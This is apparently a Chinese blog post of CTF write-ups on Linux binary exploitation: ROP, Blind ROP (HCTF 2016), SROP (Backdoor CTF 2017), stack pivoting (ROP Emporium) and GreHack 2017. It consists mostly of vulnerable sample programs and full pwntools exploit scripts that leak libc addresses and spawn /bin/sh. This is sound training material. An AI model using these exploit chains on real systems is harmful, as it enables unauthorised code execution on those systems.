#include <dlfcn.h> // 定义了一组用于动态加载共享库(动态链接库)的函数

void vuln_func() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}

int main(int argc, char *argv[]) {
// 立即解析所有符号,且将这些符号放入到全局符号表
void *handle = dlopen("libc.so.6", RTLD_NOW | RTLD_GLOBAL);
// 找到 system 符号的地址
printf("%p\n", dlsym(handle, "system"));
vuln_func();
// 在标准输出中展示 Hello World!\n
write(STDOUT_FILENO, "Hello World!\n", 13);
}
// gcc -fno-stack-protector -z noexecstack -no-pie -fno-pie example.cc -ldl -o rop64
// ROPgadget --binary /lib/x86_64-linux-gnu/libc-2.23.so --only "pop|ret" | grep rdi

image-20240527144723954

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

io = process('./rop64')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

system_addr = int(io.recvline(), 16)
libc_addr = system_addr - libc.sym['system']
binsh_addr = libc_addr + next(libc.search(b'/bin/sh'))
pop_rdi_addr = libc_addr + 0x0000000000021112

payload = b"A"*136 + p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_addr)

io.send(payload)
io.interactive()

Blind ROP(BROP)

 能够在无法获得二进制程序的情况下,基于远程服务崩溃与否(连接是否中断),进行 ROP 攻击,可用于开启 ASLR、NX 和 canaries 的 64 位 Linux。

 传统 ROP 通过逆向从二进制文件里提取可用的 gadgets,而 BROP 无须获得二进制文件,但要满足 2 个条件:(1)目标程序存在栈溢出漏洞,并且可以稳定触发。(2)目标进程在崩溃后会立即重启,并且重启后的进程内存不会重新随机化(即重启时不使用 execve),这样即使目标机器开启了 ASLR 也没有影响。如果启用 PIE,则服务器必须是一个 fork 服务器。因此有防御方案:

1
2
3
(1)同时开启 ASLR 和 PIE,并在程序重启时重新随机化内存地址空间以及 canaries,例如 execve
(2)程序发生段错误后延迟复刻新进程,降低攻击者的暴力枚举速度
(3)通用 ROP 防御措施,例如控制流完整性 CFI

 BROP 主要流程:

1
2
3
4
5
6
7
Step1:Stack reading。泄露 canaries 和返回地址,从返回地址可以推算出程序的加载地址,用于 gadgets 的扫描。泄露的方法是遍历 256 个数,每次溢出一个字节,根据程序是否崩溃来判断溢出值是否正确,就可以得到 canaries 和返回地址。

Step2:BlindROP。远程搜索 gadgets,包括但不限于 write、puts 等函数,syscall、call、jmp 指令,修改寄存器的 gadgets。搜索 gadgets 的思路是基于溢出返回地址后判断程序是否崩溃。从加载地址开始,每次给返回地址加 1,大多数时候是一个非法地址,导致程序崩溃。但某些时候,程序会被挂起,例如进入无限循环、sleep 或 read,此时连接不会中断,我们将这些指令片段称为 stop gadgets。将 stop gadgets 放到 ROP 链的最后,就可以防止程序崩溃,利于其他 gadgets 的搜索。

举个例子,如果覆盖的返回地址是指令 'pop rdi; ret',那么在 ret 时,从栈里弹出返回地址,就可能导致崩溃,但如果栈里放着 stop gadget,那么程序就会挂起。有了 stop gadgets,就可以搜索和判断 gadgets 的行为,从而推断某个 gadgets 是否是我们需要的,具体还得看实例。

Step3:Build exploit。利用得到的 gadgets 构造 ROP,BROP 就转换成了普通的 ROP。

HCTF 2016:brop

Step1:题目部署。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <unistd.h>
#include <string.h>

int i;
int check();
int main(void){
setbuf(stdin,NULL);
setbuf(stdout,NULL);
setbuf(stderr,NULL);
puts("WelCome my friend,Do you know password?");
if(!check()){
puts("Do not dump my memory");
}else {
puts("No password, no game");
}
}
int check(){
char buf[50];
read(STDIN_FILENO,buf,1024);
return strcmp(buf,"aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk");
}
// gcc -z noexecstack -fno-stack-protector -no-pie main.c -o brop

 要求程序崩溃时快速重启,因此使用以下脚本模拟环境:

1
2
3
4
5
6
7
8
#!/bin/sh
# 持续检查系统中 socat 进程的数量,如果少于5个,就启动一个新的 socat 进程
while true; do
num=`ps -ef | grep "socat" | grep -v "grep" | wc -l`
if [ $num -lt 5 ]; then
socat tcp4-listen:10001, reuseaddr, fork exec:./brop &
fi
done

 使用 nc 127.0.0.1 10001 可以与其交互。

Step2:猜测此题目是否是一个栈溢出。假设我们已知这个题考的是 BROP,因此有解题思路:

1
2
3
4
5
6
(1)逐字节增加进行爆破,直到程序崩溃,从而找到返回地址,进而找到程序起始点。
(2)寻找 stop gadget、其它有用的 gadget(例如 pop rdi; ret)。
(3)找到用于内存转储的函数(例如 puts 或 writes)。
(a)转储程序内存。需要注意的是,由于 puts 函数会被 0x00 截断,并且在每一次输出末尾会加上换行符 \x0a,所以有一些特殊情况需要处理。首先,去掉末尾自动添加的 \n,如果收到单独一个 \n,说明此处内存为 \x00,如果收到 \n\n,则此处内存是 \x0a,使用了超时是因为函数本身的设定,在接收 \n\n 时,它很可能收到第一个 \n 就返回了,加上超时可以让它全部接收完。拿到二进制文件后,使用 radare2 打开转储文件,可以得到 puts@got 的地址。
(4)到这一步相当于拿到了二进制文件,但缺少 libc。解决办法是调用 puts 打印出保存在 puts@got 里的 put 的实际内存地址,然后在 libc-database 里查询匹配的 libc.so 版本,进而计算得到 system 和 /bin/sh 的偏移。
(5)调用 system("/bin/sh") 获得 shell。

 注1:在使用 stop gadget 来找其它有用的 gadget 的过程中。可以通过在栈上摆放不同顺序的 stop gadget 与 trap 从而来识别出正在执行的指令。因为执行 stop 意味着程序不会崩溃,执行 trap 意味着程序会立即崩溃。例如:

  • probe, stop, trap, trap…。可以找到不会对栈进行 pop 操作的 gadget,例如 retxor eax,eax; ret
  • probe, trap, stop, trap…。找到只是弹出一个栈变量的 gadget,例如 pop rax; retpop rdi; ret
  • probe, trap, trap, trap, trap, trap, trap, stop, traps。找到弹出 6 个栈变量的 gadget,也叫做 brop gadget。

 注2:brop gadget 通常是:

1
2
3
4
5
6
7
5d                      pop    rbp
41 5c pop r12
41 5d pop r13
41 5e pop r14
41 5f pop r15
5f pop rdi (偏移为 0x9)
c3 ret

 注3:BROP 找到 put@plt 的方法:判断 0x400000 是否为 \x7fELF。

Step2:写脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
# dump code and data
from pwn import *

def get_io():
io = remote('127.0.0.1', 10001)
io.recvuntil(b"password?\n")
return io

# 找到栈溢出的大小
def get_buffer_size():
# 假设 buffer 的大小一定小于 100
for i in range(1, 100):
payload = b"A" * i
buf_size = len(payload)
try:
io = get_io()
io.send(payload)
io.recv()
io.close()
log.info("bad: %d" % buf_size)
except EOFError as e:
io.close()
log.info("buffer size: %d" % (buf_size-1))
return buf_size-1

# 找无限循环、sleep 或 read 的 gadget,此时连接不会中断
def get_stop_addr():
# BROP 的程序基址
addr = 0x401000
while True:
addr += 1
payload = b"A" * buf_size + p64(addr)
try:
io = get_io()
io.sendline(payload)
io.recv()
io.close()
log.info("stop addr: 0x%x" % addr)
return addr
except EOFError as e:
io.close()
log.info("bad: 0x%x" % addr)
except:
# 以此地址来解析无法解析成合法指令
log.info("Can't connect")
addr -= 1

# 找到弹出 6 个栈变量的 gadget
def get_gadgets_addr():
addr = stop_addr
while True:
addr += 1
# 找到弹出 6 个栈变量的 gadget
payload = b"A" * buf_size + p64(addr) + b"AAAAAAAA" * 6
try:
io = get_io()
io.sendline(payload + p64(stop_addr))
io.recv(timeout = 1)
io.close()
log.info("find address: 0x%x" % addr)
# 检查找到的 gadget,不加 stop_addr 崩了,加了没崩
try:
io = get_io()
io.sendline(payload)
io.recv(timeout = 1)
io.close()
log.info("bad address: 0x%x" % addr)
except:
io.close()
log.info("gadget address: 0x%x" % addr)
return addr
except EOFError as e:
io.close()
log.info("bad: 0x%x" % addr)
except:
log.info("Can't connect")
addr -= 1

# 获得 put@plt 的地址
def get_puts_call_addr():
addr = stop_addr
while True:
addr += 1
# pop rdi; ret
payload = b"A" * buf_size + p64(gadgets_addr + 0x9)
# rdi = 0x400000, eip = addr
# 判断 eip = put@plt 的方法:输出是否为 \x7fELF
payload += p64(0x400000) + p64(addr)
# 不至于使得程序崩溃
payload += p64(stop_addr)
try:
io = get_io()
io.sendline(payload)
if io.recv().startswith(b"\x7fELF"):
log.info("put call addr: 0x%x" % addr)
io.close()
return addr
log.info("bad: 0x%x" % addr)
io.close()
except EOFError as e:
log.info("bad: 0x%x" % addr)
io.close()
except:
log.info("Can't connect")
addr -= 1

def dump_memory(st_addr, ed_addr):
result = b""
# 使用 put 函数 dump 内存
while st_addr < ed_addr:
payload = b"A" * buf_size + p64(gadgets_addr + 0x9)
# puts(st_addr)
payload += p64(st_addr) + p64(puts_call_addr)
payload += p64(stop_addr)
try:
io = get_io()
io.sendline(payload)
# 保证接收到 \n\n
data = io.recv(timeout = 0.1)
if data == b"\n":
data = b"\x00"
elif data[-1] == b"\n":
data = data[:-1]
result += data
st_addr += len(data)
io.close()
except:
log.info("Can't connect")
return result

if __name__ == '__main__':
buf_size = get_buffer_size()
stop_addr = get_stop_addr()
gadgets_addr = get_gadgets_addr()
puts_call_addr = get_puts_call_addr()

print("buf_size:", buf_size)
print("stop_addr:", hex(stop_addr))
print("gadgets_addr:", hex(gadgets_addr))
print("puts_call_addr:", hex(puts_call_addr))

code_bin = dump_memory(0x400000, 0x402000)
with open("code.bin", "wb") as f:
f.write(code_bin)
f.close()

data_bin = dump_memory(0x600000, 0x602000)
with open("data.bin", "wb") as f:
f.write(data_bin)
f.close()

# buf_size: 72
# stop_addr: 0x401025
# gadgets_addr: 0x40125a
# puts_call_addr: 0x401027

 之后有两种做法:(1)根据 code.bin 找到 put 的 GOT 值,并使用 puts 打印出 GOT 作为地址所保存的数据,然后就可以找到 system 与 /bin/sh。但是我不知道 libc 的版本是什么?其偏移可能也不同,即拿不到 libc.so。但是都是 libc.so.6。(2)使用 DynELF 模块,泄露出 system 的地址。

 这里采用第 1 种方法(第 2 种方法没成功,一直报错),使用 radare2 找到 puts@got 的地址。

image-20240528122141348

 可以得出 puts@got 的地址为 0x404010,然后用 put 函数输出此地址,以此泄露出 system 与 /bin/sh,并得到 shell。见如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

def get_io():
io = remote('127.0.0.1', 10001)
io.recvuntil(b"password?\n")
return io

def get_puts_addr():
payload = b"A" * buf_size + p64(gadgets_addr + 9)
payload += p64(puts_got) + p64(puts_call_addr)
payload += p64(stop_addr)

io.sendline(payload)
data = io.recvline()
data = data[:-1]
data = data[::-1]
data = int.from_bytes(data, byteorder='big')
return data

def leak():
global system_addr, binsh_addr

puts_addr = get_puts_addr()
libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so")
system_addr = puts_addr - libc.sym['puts'] + libc.sym['system']
binsh_addr = puts_addr - libc.sym['puts'] + next(libc.search(b'/bin/sh'))
log.info("system address: 0x%x" % system_addr)
log.info("binsh address: 0x%x" % binsh_addr)

def pwn():
payload = b"A" * buf_size + p64(gadgets_addr + 9)
payload += p64(binsh_addr) + p64(system_addr)

io.sendline(payload)
io.interactive()

if __name__ == "__main__":
buf_size = 72
stop_addr = 0x401025
gadgets_addr = 0x40125a
puts_call_addr = 0x401027
puts_got = 0x404010

io = get_io()
leak()
pwn()

 但是一直没成功,猜测 puts@got 的地址给错了,经过调研,libc-2.31.so 的 puts 前几个字节是(作为特征码):

1
f3 0f 1e fa 41 56 41 55 41 54 49 89 fc 55 53 e8 2c e0 f9 ff
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *

def get_io():
io = remote('127.0.0.1', 10001)
io.recvuntil(b"password?\n")
return io

def get_addr(addr):
payload = b"A" * buf_size + p64(gadgets_addr + 9)
payload += p64(addr) + p64(puts_call_addr)
payload += p64(stop_addr)

try:
io = get_io()
io.sendline(payload)
data = io.recvline(timeout=0.5)
data = data[:-1]
data = data[::-1]
data = int.from_bytes(data, byteorder='big')
except EOFError:
return None
print("data:", hex(data))
if data & 0x00007ffff7000000 == 0x00007ffff7000000:
return data
else:
return None

def get_mem(addr):
payload = b"A" * buf_size + p64(gadgets_addr + 9)
payload += p64(addr) + p64(puts_call_addr)
payload += p64(stop_addr)
try:
io = get_io()
io.sendline(payload)
data = io.recvline(timeout=0.5)
data = data[:-1]
except EOFError:
data = None
return data

if __name__ == "__main__":
buf_size = 72
stop_addr = 0x401025
gadgets_addr = 0x40125a
puts_call_addr = 0x401027
st_addr = 0x404000
ed_addr = 0x404100
feature_code = [0xf3, 0x0f, 0x1e, 0xfa, 0x41, 0x56, 0x41, 0x55, 0x41, 0x54, 0x49, 0x89, 0xfc, 0x55, 0x53, 0xe8, 0x2c, 0xe0, 0xf9, 0xff, 0x4c, 0x8b]

while st_addr < ed_addr:
addr = get_addr(st_addr)
print("st_addr:", hex(st_addr))
if addr != None:
print("addr:", hex(addr))
data = get_mem(addr)
if data != None:
flag = True
leng = min(len(data), len(feature_code))
for i in range(leng):
if feature_code[i] != data[i]:
flag = False
break
if flag == True and leng > 10:
print("success:", hex(addr))
exit(0)
st_addr += 1
# st_addr: 0x404018 success: 0x7ffff7e44420

 因此,将 puts@got 改为 0x404018,便可成功(但是没成功,不知道为啥,可以确定 system 与 put 函数的地址是对的)。

SROP

 与 ROP 类似,SROP 通过一个简单的栈溢出,覆盖返回地址并执行 gadgets 控制执行流。不同的是,SROP 使用能够调用 sigreturn 的 gadget 覆盖返回地址,并将一个伪造的 sigcontext 结构体放到栈中。

 sigreturn 是一个系统调用,其作用是:基于 sigcontext,使内核恢复之前保存的状态,并继续执行被中断的程序

 sigcontext 是一个结构体,用于保存信号处理程序被调用时的 CPU 寄存器状态和其他上下文信息。这个结构体被内核使用,以便在 sigreturn 系统调用中恢复信号处理程序之前的状态。

 signal 机制。当有中断或异常产生时,内核会向进程发送 signal,该进程被挂起并进入内核,然后内核为其保存相应的上下文,再跳转到之前注册好的 signal handler 中进行处理,待 signal handler 返回后,内核为该进程恢复之前保存的上下文,最终恢复执行。具体步骤如下:

1
2
3
4
5
6
(1)signal 到达时,signal frame 被添加到栈,frame 中包含了当前寄存器的值和一些 signal 信息
(2)新的返回地址被添加到栈顶,这个返回地址指向 sigreturn 系统调用
(3)signal handler 被调用,signal handler 的行为取决于收到什么 signal
(4)signal handler 执行完后,如果程序没有终止,则返回地址用于执行 sigreturn 系统调用
(5)sigreturn 利用 signal frame 恢复所有寄存器以回到之前的状态
(6)程序执行继续

 不同架构有不同的 signal frame,32 位的是 sigcontext 结构体,64 位的是 ucontext_t 结构体。当 64 位 signal handler 执行完后,栈顶如下所示:

image-20240528155414885

SROP 攻击原理

 首先,系统不会对 signal frame 做检查,如果攻击者可以控制栈,也就控制了所有寄存器的值,这需要 syscall;retn 的 gadget,并且该 gadget 的地址在一些较老的系统上是没有随机化的,通常可以在 vsyscall 中找到。如果是 32 位,则可寻找 int 80 指令,通常可以在 vDSO 中找到(地址随机)。可以认为 sigreturn 就特殊的 syscall;retn 的 gadget(RAX=0xf)。不同操作系统上的 sigreturn 如下所示:

image-20240528160713951

 举一个例子:

image-20240528164111701

1
2
3
4
5
6
7
8
9
10
11
(1)利用栈溢出漏洞,将返回地址覆盖为一个指向 sigreturn gadget 的指针(syscall and RAX=0xf),并在栈上覆盖 fake frame 1。其中:
RSP 是可写的内存地址
RIP 是 "syscall;retn" gadget 的地址
RAX 是 read 的系统调用号
RDI 是文件描述符,即从哪儿读入
RSI 是可写内存的地址,即写入到哪儿
RDX 是读入的字节数,为 306
(2)sigreturn gadget 执行完之后,因为设置了 RIP,会再次执行 "syscall;retn" gadget,以运行 read 函数。
(3)read 读取某文件的数据(此文件包括 3 个 syscall;retn、1 个 fake frame 2),读入的字节数被放到 RAX 中。可写内存被这些数据所覆盖,RAX=306,且 RSP 指向了可写内存的开头。因为 RSP 指向是 "syscall;retn" 的地址,因此 "syscall;retn"(第1个) 会再次执行,由于 RAX 的值为 306,因此调用 syncfs,该调用总是返回 RAX=0。
(4)会再次执行 "syscall;retn"(第 2 个)(执行 ret 后的结果),调用 read,让其读入字符数为 15,从而让 RAX=0xf(sigreturn 的调用号)。
(5)再次执行 "syscall;retn"(第 3 个),调用 sigreturn,从 fake fame 2 中恢复寄存器,调用 execve("/bin/sh",..)。还可以调用 mprotect 将某段数据变为可执行的。

 为什么不从 fake frame 1 直接执行 execve(“/bin/sh”,..)?有一些参数是由栈传递的,需要构造好栈,才能运行此函数(因此先使用 frame 1 构造 esp 的数据)。相应的防御方法:

1
2
(1)在 sigreturn frame 中嵌入一个由内核提供的随机数,当 signal 返回时,检査该随机数是否一致。与 stack canaries 类似。
(2)在内核里为每个进程维护一个计数器,当信号处理程序被调用时,计数器+1,当调用 sigreturn,计数器-1。当计数器为负数时杀死进程。

 pwntools 集成了 SROP 的利用工具,SigreturnFrame 的构造分为三种情况:(1)32 位系统上运行 32 位程序;(2)64 位系统上运行 32 位程序;(3)64 位系统上运行 64 位程序。

1
2
3
4
5
6
7
8
9
10
11
// 32 位系统上运行 32 位程序
context.arch = 'i386'
SigreturnFrame(kernel='i386')

// 64 位系统上运行 32 位程序
context.arch = 'i386'
SigreturnFrame(kernel='amd64')

// 64 位系统上运行 64 位程序
context.arch = 'amd64'
SigreturnFrame(kernel='amd64')

Backdoor CTF 2017: Fun Signals

image-20240528175215958

Step1:查看相应符号的基本信息。

image-20240528175744452

 可以看到 _start 里有两个 syscall。分别为:(1)read(0, rsp, 0x400),从标准输入读取 0x400 个字节到 rsp 指向的内存,也就是栈上。(2)sigreturn,将从栈上读取 sigreturn frame,并恢复到寄存器上,所以可以伪造 frame。目的是要读取 flag,其实该题目本身是部署在服务器上的,那怎么猜测它是一个 SROP 呢?(逆天)

 可以使用 write(1,&flag,50) 将 flag 输出到控制台。脚本如下(关键的细节在脚本中):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

elf = ELF("funsignals_player_bin")
io = process("./funsignals_player_bin")

# 使用 pwntools 的 SROP 利用工具
# 64 位程序运行在 64 位系统上
context.clear()
context.arch = "amd64"

frame = SigreturnFrame()
# 调用号为 1
frame.rax = constants.SYS_write
# 参数 1
frame.rdi = constants.STDOUT_FILENO
# 参数 2
frame.rsi = elf.symbols['flag']
# 参数 3
frame.rdx = 50
frame.rip = elf.symbols['syscall']

io.send(bytes(frame))
print(io.recv())

 payload 的执行流程如下:

1
2
3
(1)发送 payload 后,使用 _start 的第一个 syscall 将 payload 放到 esp 上。
(2)执行 _start 的第二个 syscall(sigreturn),将栈中的数据保存到寄存器上,使得 rip = 函数 syscall、rax = write 调用号、rdi/rsi/rdi 分别为 3 个参数。
(3)执行函数 syscall。首先执行函数 syscall 的第一个 syscall,因此执行了 write(1,&flag,50)。之后执行函数 syscall 的第二个 syscall,也就是 exit(0)。

image-20240528184453491

stack pivoting

 如果攻击者能够控制 ESP 和 EBP,那么就相当于控制了整个堆栈。Stack pivoting 就是将真实的堆栈转移到伪造堆栈上的技术,可用于绕过 NX 或者栈空间过小的情况。

pivot32

 来自于 rop emporium,目的是劫持程序流打印 flag.txt。

image-20240528192226626

Step1:找出漏洞点。发现输入 s 存在栈溢出。除去 EBP,可使用的字节为:0x38-0x28-4=10B。 我们可以转移到堆上构造 ROP 链(且题目给出了堆的地址)。

image-20240528193100116

image-20240528192718873

Step2:找到一些有用的 gadget。

1
ROPgadget --binary pivot32
1
2
3
4
5
6
0x080485f5 : leave ; ret
0x0804882c : pop eax ; ret
0x080484a9 : pop ebx ; ret
0x08048830 : mov eax, dword ptr [eax] ; ret
0x08048833 : add eax, ebx ; ret
0x080485f0 : call eax

Step3:利用 stack pivoting 进行劫持。

 stack pivoting 的常用构造为:

1
2
stack   = | buffer         | ebp      | return addr    |
payload = | buffer padding | fake ebp | leave;ret addr |

image-20240528201442932

 可以发现,pivot32 中使用了以下动态库。

image-20240528201656487

 在 pivot32.so 中,可以找到函数 ret2win,负责打印 flag.txt,因此我们想让控制流跳转到 ret2win。

image-20240528201954666

 发现 libpivot32.so 开了 NX、PIE 与 Partial RELRO,因此很难知道 ret2win 的地址。怎么办呢?发现 pivot32 中导入了 libpivot32 的函数 foothold_function,因此思路是:在第一个输入的时候,构造调用 libpivot32.so 里的 ret2win 的 payload(放在堆中)。在第二个输入的时候,将控制流转移到堆上去执行。

image-20240528214447118

 在调用 libpivot32.so 的 ret2win 函数方面,发现 pivot32 中导入了 libpivot32 的函数 foothold_function,(部分 RELRO,且关闭 PIE)因此,执行 foothold_function 的 PLT,写好 GOT,然后计算出 ret2win 的真实地址。

 在将控制流转移到堆上去执行方面,用 leave_ret 覆盖原始 ret,并用 leak 出的 buf 地址减 4 覆盖 old_ebp。运行 ret 之前,ebp=leakaddr-4,运行 ret 之后,跳转到 leave_ret 执行。执行完之后,ebp 为任意值,eip 为 foothold_plt。

image-20240528225932427

image-20240528230002291

Step4:上脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

io = process('./pivot32')
elf = ELF('./pivot32')
lib = ELF('./libpivot32.so')

leave_ret = 0x080485f5
pop_eax = 0x0804882c
pop_ebx = 0x080484a9
mov_eax_eax = 0x08048830
add_eax_ebx = 0x08048833
call_eax = 0x080485f0
# The Old Gods kindly bestow upon you a place to pivot: %p\n 中的 %p
leakaddr = int(io.recv().split()[20], 16)

foothold_plt = elf.plt['foothold_function']
foothold_got = elf.got['foothold_function']
offset = lib.sym['ret2win'] - lib.sym['foothold_function']

# read(0, buf, 0x100u)
def step1():
payload = p32(foothold_plt)
payload += p32(pop_eax)
payload += p32(foothold_got)
payload += p32(mov_eax_eax)
payload += p32(pop_ebx)
payload += p32(offset)
payload += p32(add_eax_ebx)
payload += p32(call_eax)
io.sendline(payload)

# read(0, s, 0x38u)
def step2():
payload = b"A" * 40
payload += p32(leakaddr - 4)
payload += p32(leave_ret)
# printf("> ");
# read(0, s, 0x38u);
io.recvuntil(b">")
io.sendline(payload)
print(io.recvall())

if __name__ == "__main__":
step1()
step2()

image-20240528224734433

pivot

 如果一个地址其中有 \x0a(截断字符),且输入字符串的函数有 fgets、fscanf,那么函数读入时会发生截断。例如地址为 0x0000000000400adf,那么可以先将 0x0a 换成非截断字符,之后使用寄存器将 0x0a 替换。还有就是 pivot32 使用 leave;ret 来改变 rsp 位置,现在可以使用 xchg rax, rsp。

 有一个点很坑,pivot32 中是 s[40],pivot64 中是 s[32]。

image-20240529151229502

image-20240529151637164

 重要的 gadget:

1
2
3
4
5
6
0x00000000004009bd : xchg rsp, rax ; ret
0x00000000004009bb : pop rax ; ret
0x00000000004007c8 : pop rbp ; ret
0x00000000004009c1 : mov eax, dword ptr [rax] ; ret
0x00000000004009c4 : add rax, rbp ; ret
0x00000000004006b0 : call rax
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

io = process("./pivot")
elf = ELF("./pivot")
lib = ELF("./libpivot.so")

xchg_rax_rsp = 0x4009bd
pop_rax = 0x4009bb
pop_rbp = 0x4007c8
mov_rax_rax = 0x4009c0
add_rax_rbp = 0x4009c4
call_rax = 0x4006b0

foothold_plt = elf.plt['foothold_function']
foothold_got = elf.got['foothold_function']
offset = int(lib.sym['ret2win']-lib.sym['foothold_function'])
leakaddr = int(io.recv().split()[20],16)

def step1():

payload_1 = p64(foothold_plt)
payload_1 += p64(pop_rax)
payload_1 += p64(foothold_got)
payload_1 += p64(mov_rax_rax)
payload_1 += p64(pop_rbp)
payload_1 += p64(offset)
payload_1 += p64(add_rax_rbp)
payload_1 += p64(call_rax)

io.sendline(payload_1)

def step2():

payload_2 = b"a" * 40
payload_2 += p64(pop_rax)
payload_2 += p64(leakaddr)
payload_2 += p64(xchg_rax_rsp)

io.recvuntil(b">")
io.sendline(payload_2)

print(io.recvall())

if __name__ == "__main__":
step1()
step2()

GreHack CTF 2017: beerfighter

 SROP+stack pivoting 的一道题。

image-20240529153321516

Step1:找漏洞点。

image-20240529153552242

image-20240529154555044

 关注 sub_400332 与 sub_400446 两个函数:sub_400332 负责将输入的 2048 字节赋给 v2。sub_400446 负责将 a2 的 2048 个字节赋给 a1。而 a1 为 1028 个大小。因此存在栈溢出。

image-20240529155015473

image-20240529155106950

image-20240529161033083

Step2:程序的标准输入输出都是用 syscall,而不是使用标准库函数,因此修改 GOT 的方法是无效的,并想到 SROP。查找有用的 gadget,确实查找到了 “syscall; ret”。

1
2
0x0000000000400770 : syscall // 经过调研其后是 ret
0x00000000004007b2 : pop rax ; ret

 且 .data 段可写:

image-20240529161915714

 因此,利用思路为:利用缓冲区溢出漏洞,用 "syscall;ret" 的地址覆盖返回地址,从而控制执行流。首先伪造 frame1 调用 read() 读取 frame2 到 .data,同时设 frame1.rsp=base_addr 来进行 stack pivoting。其次,通过 frame2 调用 execve() 执行 "/bin/sh",即可获得 shell。执行流程如下:

image-20240529231144375

Step3:找栈溢出的偏移,并写出脚本:

image-20240529163905133

 溢出时所需的大小为 0x410,再加 8 字节的 old_ebp。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *

pop_rax = 0x00000000004007b2
syscall = 0x0000000000400770

context.arch = 'amd64'
io = process('./game')

# sigreturn 构造一定要在 process('./game') 之后,否则有 bug
sigreturn = p64(pop_rax)
sigreturn += p64(constants.SYS_rt_sigreturn)
sigreturn += p64(syscall)

elf = ELF('./game')

# sh_addr 指的是该段在内存中的虚拟地址
data_addr = elf.get_section_by_name('.data').header.sh_addr + 0x10
# 其中 data_addr 与 base_addr 之间是 /bin/sh\x00,凑够 8 的整数
base_addr = data_addr + 0x8

# 构造 frame2,执行 execve
frame2 = SigreturnFrame()
frame2.rax = constants.SYS_execve
frame2.rdi = data_addr
frame2.rsi = 0
frame2.rdx = 0
frame2.rip = syscall

frame1 = SigreturnFrame()
# 从控制台输入字符串,并放到 rsi 指向的 addr 中,字符数量为 len(frame2)
frame1.rax = constants.SYS_read
frame1.rdi = constants.STDIN_FILENO
frame1.rsi = data_addr
frame1.rdx = len(bytes(frame2)) + 16
frame1.rip = syscall
# 进行 stack pivoting
frame1.rsp = base_addr

def step1():
payload = b"A" * (0x410+8)
# 以改变寄存器的值
payload += sigreturn
# 将寄存器的值改编为 frame1 中定义的值,接着运行 rip = syscall,执行 read(0, data_addr, len(frame2)),并将 rsp 置为 base_addr,之后再 ret,就到了 base_addr 指向的返回地址
payload += bytes(frame1)
# Type your action number >
io.sendlineafter(b"> ", b"1")
# Type your action number >
io.sendlineafter(b"> ", b"0")
# Type your character name here >
io.sendlineafter(b"> ", payload)
# Type your action number >,退出程序,以触发 sigreturn
io.sendlineafter(b"> ", b"3")

def step2():
payload = b"/bin/sh\x00" # 会自动再添加一个 \x00
payload += sigreturn
payload += bytes(frame2)

io.sendline(payload)
io.interactive()

if __name__ == "__main__":
step1()
step2()

ret2dl-resolve

 见dl_runtime_resolve 执行过程这一篇。

留言

© 2024 wd-z711

⬆︎TOP